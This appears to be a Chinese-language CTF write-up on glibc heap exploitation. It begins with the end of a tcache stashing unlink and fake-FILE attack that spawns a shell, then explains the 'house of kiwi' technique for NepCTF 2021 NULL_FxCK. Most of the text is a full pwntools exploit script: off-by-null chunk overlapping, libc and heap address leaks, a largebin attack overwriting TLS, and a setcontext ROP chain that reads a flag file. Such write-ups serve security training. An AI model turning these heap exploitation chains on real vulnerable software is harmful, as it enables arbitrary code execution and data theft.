print("==== tcache stashing unlink attack and FILE attack")
#----- tcache_stashing_unlink_attack and FILE attack
#修改smallbin 中的第一个chunk的 bk指针为 free_hook-0x20,smallbin: chunk8->chunk7
#target-0x10=free_hook-0x20,target=free_hook-0x10,free_hook-0x8可写,因为之前将其写入了一个堆地址
Change(1)
#这个地方要留意,A8为calloc(0x180),又被分割,calloc(0xe0),而B每次只能写入0x10-0x20的位置
#0x10 0x40 0x70 0xa0 0xd0 0x100 0x190=0x10+0xe0+0xa0,所以这个payload刚好可以实现修改smallbin 中的第一个chunk的 bk指针,注意fd不要改变
payload = b'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
Edit(8, payload + b'\n')
#申请largebin中的chunk8,用来伪造一个FILE结构体,并将FILE结构体的chain指针指向另一个伪造的FILE结构体堆块,这里不直接用它伪造是因为该堆块限制写,因此让
#这个地方的FILE结构体的chain指针指向当前unsorted bin中残留的chunk头部
Change(3)
#刚好是FAKE FILE的0x68处,也就是*chain写入这个堆地址
payload = b'\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, b'\x00')
print("change fake FILE chain")
#unsorted bin中的heap_base+0x147c0进入了small bin
#largebin中的chunk被取出,同时这也是_IO_list_all[0]存的堆地址
Add(0x440, payload) # C3 change fake FILE _chain
#触发tcache stashing unlink
print("triger tcache_stashing_unlink")
# dbg()
#从smallbin取出一个chunk同时触发tcache_stashing_unlink_attack
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook-0x8处的chunk into tcache
IO_str_vtable = libc_base + 0x1ED560
system_addr = libc_base + libc.sym['system']
#因为返回的是mem位置,也就heap_base+0x147c0+0x10,所以只有2个p64(0)
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #_IO_write_base = 1
fake_IO_FILE += p64(0x1000) # _IO_write_ptr = 0x1000
fake_IO_FILE += p64(0) #_IO_write_end=0
#_IO_write_ptr -_IO_write_base>(size_t)(IO_buf_end-IO_buf_base)+flush_only 同时
fake_IO_FILE += p64(heap_base+0x148a0) #IO_buf_base,heap_base+0x147c0+0xd0
fake_IO_FILE += p64(heap_base+0x148b8) #IO_buf_end, heap_base+0x147c0+0xd0+0x18
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_str_vtable) #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(system_addr)
print('IO attack')
sa('Gift:', payload)
#触发exit(-1)
Menu(5)
sla('user:\n', '')
irt()
house of kiwi
例题 NepCTF 2021 NULL_FxCK
- 题目解析
- add的截断,因为这个截断让泄露heapbase非常困难
len = read(0, v4, size); // 读入字符串的len要大于0
if ( len <= 0 )
_exit(1);
chunk[len - 1] = 0; - 题目中free禁止了UAF
-
edit只能执行一次并且存在off_by_null
一般没有uaf的泄露基本都要通过off-by-one来进行chunk overlapping进入unsorted bin才能进行show函数,不然chunklist对应的位置为0,根本无法进行show函数 -
细节阐述
- 泄露libcbase,heapbase,本来利用largebin泄露这两个是很简单的事,因为add的截断变得非常困难。这里要利用off-by-one来overlapping得到一个很大的chunk,让其进入unsorted bin,这样就存在一些chunk在chunklist中存在并且fd为libcbase,heapbase
- 继续阐述泄露时的一些细节,因为unlink时会进行prev_size和unlink的chunk的size的检查,所以要修改ck3的size的值,修改很容易,直接切割unsorted bin就行了,但是这导致了一个新的问题,add(0x440,b'a'*0x428+p64(0xc91))让ck0,ck5进入largebin,因为这一步让ck0->bk,ck5->fd改变了,但是ck3->fd=cl0,ck3->bk=ck5,unlink ck3会受到影响,因此要修复ck0->bk,ck5->fd
- 这里的修复是通过chunk进入unsortedbin和largebin会自动修改fd,bk来实现。这里有个超级超级细节的地方,就是利用add的截断,这里专门让ck3对应的堆地址以\x00结尾,这样就可以通过覆盖最低一个字节为\x00,正好修改ck0->bk,ck5->fd为ck3,而且注意/部分(ck3)/,是由unsorted bin切割得到的,其与ck3并不相等!!!,但是把它的最低字节覆盖为\x00刚好是ck3,具体怎么做见wp
- free(ck7)就会unlink被修改了size后的ck3,然后整个进入unsorte bin。注意这整个overlapping chunk各个chunk的堆结构都是对的,但是因为是被包含的overlapping chunk,所以pwndbg的heap不会显示它们。在ck4的fd指针上布局main_arena。不过一开始的main_arena应该是以'\x00'结尾的,还是不能泄露。通过add一个大堆块放入largebin就好了,这样show(4)就能够泄露libc了,show(5)泄露的肯定就是ck0的堆地址
add(0x418)#0 ck0
add(0x1f8)#1 ck1
add(0x428)#2 ck2
add(0x438)#3 ck3
add(0x208)#4 ck4
add(0x428)#5 ck5
add(0x208)#6 ck6
delete(0)# unsortedbin: ck5->ck3->ck0
delete(3)# ck3残留指针: fd->ck0 bk->ck5
delete(5)
delete(2)# ck2与ck3进行合并,并放入到unsortedbin最后位置
#ub: 2,3->5->0
#修改ck3的size域
''''因为这一步让ck0->bk,ck5->fd改变了,对unlink会造成影响'''
add(0x440,b'a'*0x428+p64(0xc91))#0 ck2+极小部分(ck3) largebin: ck0->ck5
add(0x418)#2 部分(ck3)
add(0x418)#3 ck0
add(0x428)#5 ck5 bins为空
#修复ck0->bk
delete(3)# ck0
delete(2)# 部分(ck3) unsortedbin: 部分(ck3)->ck0
'''一开始malloc时刚好控制ck3的末尾为\x00,然后ck0->bk=部分(ck3),然后bk的最低字节又被覆盖为\x00'''
add(0x418,b'a'*0x9)#2 ck0修复fwd->bk
add(0x418)#3 部分(ck3)
#修复ck5->fd
delete(3)# 部分(ck3)
delete(5)# ck5 unsortebin: ck5->部分(ck3)
add(0x9f8)#3 ck7 largebin:ck5->部分(ck3) 此时ck5->fd指向ck3(偏移)
add(0x428,b'b')#5 ck5 修复bck->fd,与上面修复很类似
# off by bull
edit(6,b'c'*0x200+p64(0xc90)+b'\x00')
#清空largebin
add(0x418)#7 部分(ck3)
# unlink_attack ck3[0x438]-ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
add(0x208)#8 ck8 防止合并
delete(3)# ck7 unlink
add(0x430,p64(0)*3+p64(0x421))#3 ck3 恢复堆结构
add(0x1600)#9 ck9 largebin: 0x1251 ck4是整个chunk的起点
- 泄露完libcbase,heapbase笔者认为基本完成了一大半,因为剩下的基本就是套模板,必要的时候进行一下偏移的计算。找一个可控的堆地址写入rop,重点说一下largebin attack的一些细节。这里有个很难受的地方在于无法edit,但是注意之前的overlapping chunk,通过del它再add就可以实现等同于edit的功能,但是要注意不要破坏其他chunk的各个数据。还有个细节就是下面的三行文字,不多说了
# largebin_attack add(0x418)#11 ck11 add(0x208)#12 ck12 delete(5)# ck5 0x431 '''这里因为没有edit,所以只能把overlapping chunk free之后再add实现edit功能''' delete(4)# ck4 0x1251 ck5位于ck4内部 largebin 指向自己ck5 目的地址 add(0x1240,b'e'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)+p64(tls-0x20))#4 delete(11)# ck11 unsortedbin[0x418] largebin[0x431] add(0x500)#5 ck13 触发largebin_attack:tls->ck11 '''这里当时想了很久,因为largebin:ck5->ck11,因为想要把ck5给malloc出来,要先把ck11给malloc出来 malloc(0x410)将ck11再次malloc出来,largebin为了维护自身,会让ck5->fd_nextsize,ck5->bk_nextsize=ck5 所以就实现了tls->ck5 ''' add(0x410)#11 ck11 unlink_chunk tls->ck5 #修复ck5,准备将其malloc出来 delete(4)# 0x1240 add(0x1240,b'f'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)*2)
-
最后才是house of kiwi的利用,单纯利用这个实在是太简单不过,注意这个tls其实原本就是heapbase+0x10,怎么设置就按照tcache_perthread_struct设置就行。io_file_jumps+0x60设置为setcontext_addr,io_helper_jumps+0xa0 and 0xa8设置为rop_addr,ret_addr,最后触发assert。这里触发assert的方式是add(0x210,p64(0)+p64(0x910))# 修改top_chunk的size域,然后当top_chunk的大小不够分配时,则会进入sysmalloc中,sysmalloc会检查top chunk的prev_inuse。
# 劫持TLS,注意heap_base+0x1350的header无法控制,也就是前0x10无法控制,这里要注意偏移计算 tls_struct = b'\x01'*0x70 tls_struct = tls_struct.ljust(0xe8,b'\x00')+p64(io_file_jumps+0x60)#SYNC tls_struct = tls_struct.ljust(0x168,b'\x00')+p64(io_helper_jumps+0xa0)+p64(heap_base+0x46f0) #heap_base+0x46f0刚好是top chunk对应的位置 add(0x420,tls_struct)#4 ck5 tls add(0x100,p64(setcontext_addr))#SYNC add(0x200,p64(rop_addr)+p64(ret_addr))#rop 以及 返回地址 add(0x210,p64(0)+p64(0x910))# 修改top_chunk的size域 触发assert r.sendlineafter(">> ",'1') r.sendlineafter("(: Size: ",str(0x1000))
-
完整wp
from pwn import *
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
binary = '/home/zp9080/PWN/pwn'
r = process(binary)
# r=gdb.debug(binary,'b*$rebase(0x1133)')
elf = ELF(binary)
libc = elf.libc
def add(size=0x108,payload=b'/bin/sh\x00'):#32
r.sendlineafter(">> ",'1')
r.sendlineafter("(: Size: ",str(size))
r.sendafter("(: Content: ",payload)
def edit(index,payload):
r.sendlineafter(">> ",'2')
r.sendlineafter("Index: ",str(index))
r.sendafter("Content: ",payload)
def delete(index):
r.sendlineafter(">> ",'3')
r.sendlineafter("Index: ",str(index))
def show(index):
r.sendlineafter(">> ",'4')
r.sendlineafter("Index: ",str(index))
return u64(r.recv(6).ljust(8,b'\x00'))
def dbg():
gdb.attach(r,'b*$rebase(0x1133)')
pause()
add(0x418)#0 ck0
add(0x1f8)#1 ck1
add(0x428)#2 ck2
add(0x438)#3 ck3
add(0x208)#4 ck4
add(0x428)#5 ck5
add(0x208)#6 ck6
delete(0)# unsortedbin: ck5->ck3->ck0
delete(3)# ck3残留指针: fd->ck0 bk->ck5
delete(5)
delete(2)# ck2与ck3进行合并,并放入到unsortedbin最后位置
#ub: 2,3->5->0
#修改ck3的size域
''''因为这一步让ck0->bk,ck5->fd改变了,对unlink会造成影响'''
add(0x440,b'a'*0x428+p64(0xc91))#0 ck2+极小部分(ck3) largebin: ck0->ck5
add(0x418)#2 部分(ck3)
add(0x418)#3 ck0
add(0x428)#5 ck5 bins为空
#修复ck0->bk
delete(3)# ck0
delete(2)# 部分(ck3) unsortedbin: 部分(ck3)->ck0
'''一开始malloc时刚好控制ck3的末尾为\x00,然后ck0->bk=部分(ck3),然后bk的最低字节又被覆盖为\x00'''
add(0x418,b'a'*0x9)#2 ck0修复fwd->bk
add(0x418)#3 部分(ck3)
#修复ck5->fd
delete(3)# 部分(ck3)
delete(5)# ck5 unsortebin: ck5->部分(ck3)
add(0x9f8)#3 ck7 largebin:ck5->部分(ck3) 此时ck5->fd指向ck3(偏移)
add(0x428,b'b')#5 ck5 修复bck->fd,与上面修复很类似
# off by bull
edit(6,b'c'*0x200+p64(0xc90)+b'\x00')
#清空largebin
add(0x418)#7 部分(ck3)
# unlink_attack ck3[0x438]-ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
add(0x208)#8 ck8 防止合并
delete(3)# ck7 unlink
add(0x430,p64(0)*3+p64(0x421))#3 ck3 恢复堆结构
add(0x1600)#9 ck9 largebin: 0x1251 ck4是整个chunk的起点
libc_base = show(4)-1680-0x10-libc.sym['__malloc_hook']
heap_base = show(5)-0x2b0
#_IO_file_jumps可以直接查找text找到
io_file_jumps = libc_base+0x1E54C0
io_helper_jumps = libc_base+0x1E48C0
setcontext_addr = libc_base+libc.sym['setcontext']+61
open_addr = libc_base+libc.sym['open']
read_addr = libc_base+libc.sym['read']
write_addr = libc_base+libc.sym['write']
pop_rdi_ret = libc_base+0x000000000002858f
pop_rsi_ret = libc_base+0x000000000002ac3f
pop_rdx_r12_ret = libc_base+0x0000000000114161
ret_addr = libc_base+0x0000000000026699
# rop_chain ck2+极小部分ck3
rop_addr = heap_base+0x8e0
flag_addr = heap_base+0x8e0+0x100
rop_chain = flat([
pop_rdi_ret,flag_addr,pop_rsi_ret,0,open_addr,
pop_rdi_ret,3,pop_rsi_ret,flag_addr,pop_rdx_r12_ret,0x50,0,read_addr,
pop_rdi_ret,1,write_addr
]).ljust(0x100,b'\x00')+b'flag\x00'
tls = libc_base+0x1eb538
add(0x1240,b'd'*0x208+p64(0x431)+b'd'*0x428+p64(0x211)+b'd'*0x208+p64(0xa01))#10
#其实这里只要任意找到一个可以控制的堆地址就可以
delete(0)# ck2+极小部分ck3 0x451
add(0x440,rop_chain)#0 ck2+部分(ck3) 写入ROP链
# largebin_attack
add(0x418)#11 ck11
add(0x208)#12 ck12
delete(5)# ck5 0x431
'''这里因为没有edit,所以只能把overlapping chunk free之后再add实现edit功能'''
delete(4)# ck4 0x1251 ck5位于ck4内部 largebin 指向自己ck5 目的地址
add(0x1240,b'e'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)+p64(tls-0x20))#4
delete(11)# ck11 unsortedbin[0x418] largebin[0x431]
add(0x500)#5 ck13 触发largebin_attack:tls->ck11
'''这里当时想了很久,因为largebin:ck5->ck11,因为想要把ck5给malloc出来,要先把ck11给malloc出来
malloc(0x410)将ck11再次malloc出来,largebin为了维护自身,会让ck5->fd_nextsize,ck5->bk_nextsize=ck5
所以就实现了tls->ck5
'''
add(0x410)#11 ck11 unlink_chunk tls->ck5
#修复ck5,准备将其malloc出来
delete(4)# 0x1240
add(0x1240,b'f'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)*2)
# 劫持TLS,注意heap_base+0x1350的header无法控制,也就是前0x10无法控制,这里要注意偏移计算
tls_struct = b'\x01'*0x70
tls_struct = tls_struct.ljust(0xe8,b'\x00')+p64(io_file_jumps+0x60)#SYNC
tls_struct = tls_struct.ljust(0x168,b'\x00')+p64(io_helper_jumps+0xa0)+p64(heap_base+0x46f0) #heap_base+0x46f0刚好是top chunk对应的位置
add(0x420,tls_struct)#4 ck5 tls
add(0x100,p64(setcontext_addr))#SYNC
add(0x200,p64(rop_addr)+p64(ret_addr))#rop 以及 返回地址
add(0x210,p64(0)+p64(0x910))# 修改top_chunk的size域 触发assert
success(hex(tls))
success("heap_base -> "+hex(heap_base))
success("libc_base -> "+hex(libc_base))
r.sendlineafter(">> ",'1')
r.sendlineafter("(: Size: ",str(0x1000))
r.interactive()
没有评论